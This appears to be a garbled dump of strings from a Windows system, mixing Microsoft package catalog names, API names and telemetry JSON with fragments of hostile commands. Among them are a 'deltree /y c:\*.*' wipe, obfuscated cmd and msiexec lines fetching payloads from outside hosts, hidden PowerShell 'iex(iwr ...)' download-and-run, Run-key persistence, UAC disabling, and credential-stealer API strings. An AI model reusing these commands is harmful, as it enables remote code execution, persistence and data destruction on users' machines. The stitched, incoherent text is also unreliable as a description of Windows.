ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe
4Cc:\windows\command\deltree/yc:\*.*@echooff"><!--cssstylesheet--><styletype="text/css"id="
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
ext-ms-win-ntuser-windowstation-l1-1-0.dll
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\EnableDebuggerBreakForTaskStart
Tsubprocess.startf_useshowwindowsubprocess.check_call([sys.executable,"-m","pip","install",'--user',package],startupinfo=startupinfo
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsDeleteString
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsConcatString
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsCreateStringReference
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
del mainserverFFServer.exe#WindowsManagementCheckRadioBoxClick*
c:\windows\system\system.exehttp://www.kreher.tv/dhes/images/images/
software\microsoft\windows\currentversion\run
ZiWindows defender/ any antivirus is offim
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
onecoreuap\shell\windows.storage\sharedstoragesources\mtptl2.cpp
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Group>
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!HKeyRoot2
\software\microsoft\windows\currentversion\policies\system /v enablelua\
WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
Acopy"\smartartgraphicslog.lnk""%appdata%\microsoft\windows\s2
NetpSetWinlogonCAD
GetWindowsDirectoryA
Microsoft.Windows.App.Browser
Microsoft.Windows.Wil.FeatureLogging
    name="Microsoft.Windows.Shell.shell32"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
c:\windows\system32\cmd.exe/q/c"recycler.bin\
"nWc:\windows\system32\cmd.exe/cstart
(c:\windows\system32\cmd.exe/e/rs^tartmsi^e^xec/^quie^trz^s^h=^g^q^mh^am/^p^ack^ag^e"http://2t.wf:8080/y1adnzobnmrm5mcmmoexstny9w76c7m43b46notsilh/%computername%"n^z^o^ji^onaf=r^dirj^b^icj%windir%\system32\imageres.dll%systemroot%
Xpowershell-noprofile-executionpolicybypass-windows
.sdbc:\windows\apppatch\custom\
\windows\system32\cmd.exe
windows updatsI
windows updates]
windows updater:wux:windows updaterI
windows updatedm
windows update settings:wux:windows update settingsG
windows updaeG
windows upateD
windows uoH
windows udpateD
windows u[c
windows 10 updates:wux:windows 10 updatesB
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@Foundation@Windows@@
.?AV?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@
.?AU__abi_IDelegate@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@
.?AUIBackgroundTask@Background@ApplicationModel@Windows@@
.?AU__abi_IDelegate@BackgroundTaskCanceledEventHandler@Background@ApplicationModel@Windows@@
.?AVBackgroundTaskCanceledEventHandler@Background@ApplicationModel@Windows@@
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
ic:\windows\system32\cmd.exe/ccurl-s-v-o
%c:\windows\system32\cmd.exe/v/k"start/min""powershell-whidden-nologo-nop-epbypass-c"iex([text.encoding]::utf8.getstring((iwr"https://insiktnordahl.se/
start/minpowershell.exe-windowstylehidden";$
<exec><command>$($env:systemdrive)\windows\
3\powershell.exe</command><arguments>-windowstylehidden-file$($env:systemdrive)\programdata\
~$newfolder!%systemroot%\system32\shell32.dll
passwords!%systemroot%\system32\shell32.dll
Udocuments!%systemroot%\system32\shell32.dll
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
ce.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
Signing Certificate specifies invalid combination of both Windows Store and Component EKUs
SELECT _ApplicationContentUriRuleID, _Revision, _WorkId, Application, "Index", Uri, Type, WindowsRuntimeAccess, Flags, _Dictionary FROM ApplicationContentUriRule WHERE Application=? AND _WorkId=0;
INSERT INTO ApplicationContentUriRule (_Revision, _WorkId, Application, "Index", Uri, Type, WindowsRuntimeAccess, Flags, _Dictionary) VALUES(?,?,?,?,?,?,?,?,?);
c:\windows\system32\w32time.dll
c:\windows\system32\sel_3390_time_provider.dll
Windows.Storage.dll
WindowsGetStringRawBuffer
WindowsCreateS
ExitWindows.P
er":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765784650,"MaxEventTime":134163939765784650,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\Phoneutil.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[174,53,160,56,18,22,51,19,100,103,161,179,96,121,152,210,133,30,28,92],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PhoneUtil.dll","InternalName":"PhoneUtil","FileDescription":"Phone utilities","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477603469,"TimeDateStamp":3845613406,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900970Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":37},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizatit
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
C:\ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db
C:\ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db-journal
C:\ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db-wal
+-Narrator keyboard|typing|keyboard|shift|control|windows|alt|modifiers|change what I hear when typing with Narrator|modifier key echo|echo modifier keys|Narrator modifier key echo|Narrator type modifier key settings|read modifier keys|toggle modifier key reading|toggle keyboard echo|Q
Windows.Data.Platform.LocalCache.VersionedBlobReference
Windows.Data.Platform.LocalCache.CloudCacheEntry
Windows.Data.Platform.LocalCache.CurrentCacheEntry
Windows.Data.Platform.LocalCache.CloudCacheEntryMetadata
Windows.Data.Platform.LocalCache.CurrentCacheEntryMetadata
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
'AAA_SettingsPageRestoreMusUpdate%h'2windowsupdate2
'2windowss3
'2windows y5
#AAA_SettingsPageRestoreMusUpdate*|'2windows ups9
+AAA_SettingsPageRestoreMusUpdate+"'2windows upodate9
+AAA_SettingsPageRestoreMusUpdate&/'2windows upgrade7
'2windows updte9
'2windows updatre9
'2windows updates9
'2windows updater@G
c:\windows\system32\rundll32.exe
a-z!%systemroot%\system32\shell32.dll%windir%\system32\rundll32.exe
c:\windows\memory.dmpc
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{2B379600-B42B-4FE9-A59C-A312FB934935}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108
Hunt only runs on Windows NT...
Software\Microsoft\Windows\underskrivers\Uninstall\Underwork\xersS
HKCU:\Software\Microsoft\Windows\CurrentVersion\RunH
C:\WINDOWS\system32\gbdwpbm.dllC
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
update.windowssettings.org/patchwmp/R
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/15a"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/15a"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/deployment/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/deployment/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:deployment3="http://schemas.microsoft.com/appx/manifest/deployment/windows10/3"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
Windows-SenseClient-FoD-Package
logsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_25>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_25>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_26>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_26>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_24>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_24>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_25>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_24>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_23>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_22>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_23>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_23>@?O@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_21>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
("c:\\windows\\diagnostics\\index\\audiorecordingdiagnostic.xml");var
.jarpc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
software\microsoft\windows\currentversion\app paths\iexplore.exesoftware\microsoft\windows\currentversion\internet settingssoftware\microsoft\internet account manager\accountssoftware\classes\http\shell\open\commandInternetGetConnectedStatecapCreateCaptureWindowASHGetSpecialFolderPathAAdjustTokenPrivilegesCreateRemoteThreadWriteProcessMemoryWNetEnumResourceAPOP3 PasswordHTTPMail PasswordHotmail
Windows.ComponentUI
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy`
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy`
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings]
C:\WINDOWS\system32\svchost.exe -k LocalS
aps.prod.windows.com0
aps.prod.windows.com0>
windows.hlp`
c:\windows\system32\windowspowershell\v1.0\
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'1234567=345//6/7/2/1'-i'invoice.mp4dhfrechnqre65mshtahttp:46.29.235.45weht324ftker'|cmd
WindowsError@PrintCore
path=%windir%\system32&&move"creditcardfront.png.lnk""%tmp%\1.lnk"&forfiles/p"%tmp%"/m"cred*.lnk"/s
WINDOWS11
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AdobeUpdater /t REG_SZ /d "%s" /f
c:\windows\system32\wscript.exe"
WindowsError@PrintCore
/agenzia/entrat.exeiconfile=c:\windows\system32\shell32.dll7
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-In-Block
windows\currentversion\runz
@Windows.UI.FileExplorer.dll,-51808
c:\windows\ccmsetup\scepinstall.exe/u/s
start-process-windowstylehiddenschtasks
ComSpec=C:\WINDOWS\system32\cmd.exe
.jsc:\windows\explorer.exe%systemroot%\explorer.exe
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
oMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1742o
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
ms-windows-store
ms-windows-store^2d9
ms-windows-store2
ms-windows-store2^2da
%SystemRoot%/System32/drivers/cht4vfx.sys
%SystemRoot%/System32/drivers/cht4vx64.sys
%SystemRoot%/System32/drivers/circlass.sys
%SystemRoot%/System32/drivers/CmBatt.sys
%SystemRoot%/System32/drivers/devauthe.sys
%SystemRoot%/System32/drivers/disk.sys
%SystemRoot%/System32/drivers/dmvsc.sys
%SystemRoot%/System32/drivers/drmk.sys
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Shield_MpIsWindowsLockdownMode
Shield_MpGetWindowsLockdownMode
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
